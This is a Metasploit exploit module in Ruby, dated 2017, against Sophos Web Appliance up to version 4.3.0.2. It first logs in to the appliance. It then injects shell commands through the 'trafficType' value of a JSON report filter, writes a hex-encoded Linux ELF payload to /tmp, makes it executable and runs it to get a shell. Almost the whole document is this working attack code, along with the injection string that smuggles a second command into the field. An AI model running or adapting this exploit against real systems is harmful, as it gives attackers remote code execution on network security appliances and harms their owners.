# Exploit Title: Sophos Web Appliance reporting JSON trafficType Remote Command Injection Vulnerablity 
# Date: 01/28/2017
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sophos.com
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
# Version: 4.3.0.2
# Tested on: 4.3.0.2
#            
# CVE : (awaiting cve) 
 
# vuln:  report command / trafficType JSON parameter /  ???.php exploit
 
# Description PostAuth Sophos Web App FW <= v4.3.0.2 for capablities. This exploit leverages a command injection bug. 
#
# xort @ Critical Start
 
require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sophos Web Appliace <= v4.3.0.2 JSON reporting remote exploit',
                    'Description'    => %q{
                    This module exploits a remote command execution vulnerability in
                the Sophos Web Appliace Version <=  v4.3.0.2. The vulnerability exist in
                a section of the machine's reporting inferaface that accepts unsanitized 
                unser supplied information within a JSON query. 
            },
            'Author'         =>
                [
                    'xort@Critical Start', # vuln + metasploit module
                ],
            'Version'        => '$Revision: 1 $',
            'References'     =>
                [
                    [ 'none', 'none'],
                ],
            'Platform'      => [ 'linux'],
            'Privileged'     => true,
             'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },
 
            'Targets'        =>
                [
                    ['Linux Universal',
                        {
                                'Arch' => ARCH_X86,
                                'Platform' => 'linux'
                        }
                    ],
                ],
            'DefaultTarget' => 0))
 
            register_options(
                [
                    OptString.new('PASSWORD', [ false, 'Device password', "" ]),    
                        OptString.new('USERNAME', [ true, 'Device password', "admin" ]),    
                    OptString.new('CMD', [ false, 'Command to execute', "" ]),  
                    Opt::RPORT(443),
                ], self.class)
    end
 
        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )
 
                # vars
                timeout = 1550;
                style_key = Rex::Text.rand_text_hex(32)
 
                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/index.php",
                      'vars_get' => {
               'c' => 'login',
            },
                      'vars_post' =>
                        {
 
                  'STYLE' => style_key,
              'destination' => '',
              'section' => '',
              'username' => username,
              'password' => password_clear
                        },
                  'headers' => {
                          'Connection' => 'close',
                      }
 
                }, timeout)
 
                return style_key
        end
 
    def run_command(username, style_password, cmd)
 
        vprint_status( "Running Command...\n" )
 
        # send request with payload 
        res = send_request_cgi({
            'method' => 'POST',
                        'uri'     => "/index.php",
            'vars_post' => {
                'chart' => 'pie',
                'period' => 'custom',
                'multiplier' => '1',
                'metric' => '',
                'token' => '0.3156784180233425',
                'start' => '1/27/2017',
                'end' => '1/27/2017',
                'filters' => '{"topn": "25", "trafficType": "out|'+cmd+'&", "department": "sophos_swa_all_departments"}',    
                'pdf' => '1',
                'test' => '',    
                'STYLE' => style_password ,
                },
            'vars_get' => {
                'c' => 'report',
                'name' => 'traf_users',
                'STYLE' => style_password ,
            },
        })
 
    end
 
     
    def exploit
        # timeout
        timeout = 1550;
 
        # params
        password_clear = datastore['PASSWORD']
        user = datastore['USERNAME']
 
        # do authentication     
        style_hash = do_login(user, password_clear)
     
        vprint_status("STATUS hash authenticated: #{style_hash}\n")
             
        # pause to let things run smoothly
        sleep(2)
 
         #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?
 
                        cmd = datastore['CMD']
 
                        # Encode cmd payload
 
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\\x\1\2')
 
            # upload elf to /tmp/n , chmod +rx /tmp/n , then run /tmp/n (payload)
                        run_command(user, style_hash, ("echo -e #{encoded_cmd}>/tmp/n;chmod +rx /tmp/n;/tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\\x\1\2')
 
            # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
                        run_command(user, style_hash, ("(echo -e #{encoded_elf}>/tmp/m;chmod +rx /tmp/m;/tmp/m)"))
 
            # wait for magic
                        handler
             
                end
 
 
    end
end